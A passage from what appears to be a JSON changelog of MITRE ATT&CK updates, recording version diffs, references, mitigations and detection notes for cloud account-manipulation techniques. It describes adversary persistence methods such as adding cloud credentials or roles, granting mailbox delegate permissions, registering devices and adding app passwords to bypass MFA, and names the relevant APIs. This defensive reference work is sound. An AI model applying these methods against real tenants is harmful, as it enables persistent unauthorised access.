Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \\n \\n In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\\u2019s API credentials are deactivated.\\n (Citation: Crowdstrike AWS User Federation Persistence)\\n+\\n+In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.8\", \"old_value\": \"2.7\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Lacework AI Resource Hijacking 2024\", \"description\": \"Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.\", \"url\": \"https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts\"}, \"root['external_references'][7]\": {\"source_name\": \"Permiso Scattered Spider 2023\", \"description\": \"Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.\", \"url\": \"https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud\"}, \"root['external_references'][10]\": {\"source_name\": \"Microsoft Entra ID App Passwords\", \"description\": \"Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.\", \"url\": \"https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords\"}, \"root['external_references'][12]\": {\"source_name\": \"Mandiant APT42 Operations 2024\", \"description\": \"Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations\"}, \"root['x_mitre_contributors'][7]\": \"Arun Seelagan, CISA\", \"root['x_mitre_data_sources'][1]\": \"Active Directory: Active Directory Object Creation\", \"root['x_mitre_data_sources'][2]\": \"Active Directory: Active Directory Object Modification\", \"root['x_mitre_platforms'][2]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\"}}", + "previous_version": "2.7", + "version_change": "2.7 \u2192 2.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may add adversary-controlled credentials to a clt1Adversaries may add adversary-controlled credentials to a cl
>oud account to maintain persistent access to victim accounts>oud account to maintain persistent access to victim accounts
> and instances within the environment.  For example, adversa> and instances within the environment.  For example, adversa
>ries may add credentials for Service Principals and Applicat>ries may add credentials for Service Principals and Applicat
>ions in addition to existing legitimate credentials in Azure>ions in addition to existing legitimate credentials in Azure
> AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citat> / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc
>ion: Blue Cloud of Death)(Citation: Blue Cloud of Death Vide>e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De
>o) These credentials include both x509 keys and passwords.(C>ath Video) These credentials include both x509 keys and pass
>itation: Microsoft SolarWinds Customer Guidance) With suffic>words.(Citation: Microsoft SolarWinds Customer Guidance) Wit
>ient permissions, there are a variety of ways to add credent>h sufficient permissions, there are a variety of ways to add
>ials including the Azure Portal, Azure command line interfac> credentials including the Azure Portal, Azure command line 
>e, and Azure or Az PowerShell modules.(Citation: Demystifyin>interface, and Azure or Az PowerShell modules.(Citation: Dem
>g Azure AD Service Principals)  In infrastructure-as-a-servi>ystifying Azure AD Service Principals)  In infrastructure-as
>ce (IaaS) environments, after gaining access through [Cloud >-a-service (IaaS) environments, after gaining access through
>Accounts](https://attack.mitre.org/techniques/T1078/004), ad> [Cloud Accounts](https://attack.mitre.org/techniques/T1078/
>versaries may generate or import their own SSH keys using ei>004), adversaries may generate or import their own SSH keys 
>ther the <code>CreateKeyPair</code> or <code>ImportKeyPair</>using either the <code>CreateKeyPair</code> or <code>ImportK
>code> API in AWS or the <code>gcloud compute os-login ssh-ke>eyPair</code> API in AWS or the <code>gcloud compute os-logi
>ys add</code> command in GCP.(Citation: GCP SSH Key Add) Thi>n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key 
>s allows persistent access to instances within the cloud env>Add) This allows persistent access to instances within the c
>ironment without further usage of the compromised cloud acco>loud environment without further usage of the compromised cl
>unts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind>oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe
> the Scenes)  Adversaries may also use the <code>CreateAcces>l Behind the Scenes)  Adversaries may also use the <code>Cre
>sKey</code> API in AWS or the <code>gcloud iam service-accou>ateAccessKey</code> API in AWS or the <code>gcloud iam servi
>nts keys create</code> command in GCP to add access keys to >ce-accounts keys create</code> command in GCP to add access 
>an account. If the target account has different permissions >keys to an account. Alternatively, they may use the <code>Cr
>from the requesting account, the adversary may also be able >eateLoginProfile</code> API in AWS to add a password that ca
>to escalate their privileges in the environment (i.e. [Cloud>n be used to log into the AWS Management Console for [Cloud 
> Accounts](https://attack.mitre.org/techniques/T1078/004)).(>Service Dashboard](https://attack.mitre.org/techniques/T1538
>Citation: Rhino Security Labs AWS Privilege Escalation)(Cita>).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo
>tion: Sysdig ScarletEel 2.0) For example, in Azure AD enviro>rk AI Resource Hijacking 2024) If the target account has dif
>nments, an adversary with the Application Administrator role>ferent permissions from the requesting account, the adversar
> can add a new set of credentials to their application's ser>y may also be able to escalate their privileges in the envir
>vice principal. In doing so the adversary would be able to a>onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn
>ccess the service principal\u2019s roles and permissions, which m>iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile
>ay be different from those of the Application Administrator.>ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example,
>(Citation: SpecterOps Azure Privilege Escalation)   In AWS e> in Entra ID environments, an adversary with the Application
>nvironments, adversaries with the appropriate permissions ma> Administrator role can add a new set of credentials to thei
>y also use the `sts:GetFederationToken` API call to create a>r application's service principal. In doing so the adversary
> temporary set of credentials to [Forge Web Credentials](htt> would be able to access the service principal\u2019s roles and p
>ps://attack.mitre.org/techniques/T1606) tied to the permissi>ermissions, which may be different from those of the Applica
>ons of the original user account. These temporary credential>tion Administrator.(Citation: SpecterOps Azure Privilege Esc
>s may remain valid for the duration of their lifetime even i>alation)   In AWS environments, adversaries with the appropr
>f the original account\u2019s API credentials are deactivated. (C>iate permissions may also use the `sts:GetFederationToken` A
>itation: Crowdstrike AWS User Federation Persistence)>PI call to create a temporary set of credentials to [Forge W
 >eb Credentials](https://attack.mitre.org/techniques/T1606) t
 >ied to the permissions of the original user account. These t
 >emporary credentials may remain valid for the duration of th
 >eir lifetime even if the original account\u2019s API credentials 
 >are deactivated. (Citation: Crowdstrike AWS User Federation 
 >Persistence)  In Entra ID environments with the app password
 > feature enabled, adversaries may be able to add an app pass
 >word to a user account.(Citation: Mandiant APT42 Operations 
 >2024) As app passwords are intended to be used with legacy d
 >evices that do not support multi-factor authentication (MFA)
 >, adding an app password can allow an adversary to bypass MF
 >A requirements. Additionally, app passwords may remain valid
 > even if the user\u2019s primary password is reset.(Citation: Mic
 >rosoft Entra ID App Passwords)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [ + "M1042: Disable or Remove Feature or Program" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)" + ], + "new": [ + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:59:45.362000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Additional Cloud Roles", + "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/003", + "external_id": "T1098.003" + }, + { + "source_name": "Expel AWS Attacker", + "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.", + "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/" + }, + { + "source_name": "Microsoft O365 Admin Roles", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + }, + { + "source_name": "AWS IAM Policies and Permissions", + "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html" + }, + { + "source_name": "Google Cloud IAM Policies", + "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/policies" + }, + { + "source_name": "Invictus IR DangerDev 2024", + "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", + "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me" + }, + { + "source_name": "Microsoft Support O365 Add Another Admin, October 2019", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Alex Parsons, Crowdstrike", + "Chris Romano, Crowdstrike", + "Wojciech Lesicki", + "Pi\u00e0 Consigny, Tenable", + "Cl\u00e9ment Notin, Tenable", + "Praetorian", + "Alex Soler, AttackIQ", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-29 18:29:06.873000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][9]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][2]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Azure AD\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:54:28.516000+00:00", + "modified": "2024-10-15 15:37:25.303000+00:00", + "name": "Additional Email Delegate Permissions", + "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/002", + "external_id": "T1098.002" + }, + { + "source_name": "Bienstock, D. - Defending O365 - 2019", + "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.", + "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365" + }, + { + "source_name": "Crowdstrike Hiding in Plain Sight 2018", + "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.", + "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/" + }, + { + "source_name": "Google Ensuring Your Information is Safe", + "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.", + "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html" + }, + { + "source_name": "Gmail Delegation", + "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.", + "url": "https://support.google.com/a/answer/7223765?hl=en" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "source_name": "Mandiant Defend UNC2452 White Paper", + "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.", + "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452" + }, + { + "source_name": "Microsoft - Add-MailboxPermission", + "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Detection and Response Team (DART)", + "Mike Burns, Mandiant", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Arad Inbar, Fidelis Security", + "Nilesh Dherange (Gurucul)", + "Naveen Vijayaraghavan" + ], + "x_mitre_data_sources": [ + "Group: Group Modification", + "Application Log: Application Log Content", + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:37:25.303000+00:00\", \"old_value\": \"2024-01-03 15:46:06.706000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Nilesh Dherange (Gurucul)\", \"root['x_mitre_contributors'][5]\": \"Naveen Vijayaraghavan\"}, \"iterable_item_removed\": {\"root['x_mitre_contributors'][2]\": \"Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\"}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0036: Group (Group Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-04 18:30:38.989000+00:00", + "modified": "2024-09-25 20:39:53.597000+00:00", + "name": "Device Registration", + "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/005", + "external_id": "T1098.005" + }, + { + "source_name": "CISA MFA PrintNightmare", + "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + }, + { + "source_name": "Mandiant APT29 Microsoft 365 2022", + "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", + "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft" + }, + { + "source_name": "AADInternals - Conditional Access Bypass", + "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.", + "url": "https://o365blog.com/post/mdm" + }, + { + "source_name": "AADInternals - BPRT", + "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.", + "url": "https://o365blog.com/post/bprt/" + }, + { + "source_name": "AADInternals - Device Registration", + "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.", + "url": "https://o365blog.com/post/devices/" + }, + { + "source_name": "DarkReading FireEye SolarWinds", + "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.", + "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack" + }, + { + "source_name": "Microsoft - Device Registration", + "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa" + }, + { + "source_name": "Microsoft DEV-0537", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pawel Partyka, Microsoft 365 Defender", + "Mike Moran", + "Joe Gumke, U.S. Bank", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Active Directory: Active Directory Object Creation", + "User Account: User Account Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:39:53.597000+00:00\", \"old_value\": \"2023-10-03 17:38:39.065000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n\\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"old_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n\\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n \\n-Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n+Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n \\n-Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\\n+Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant 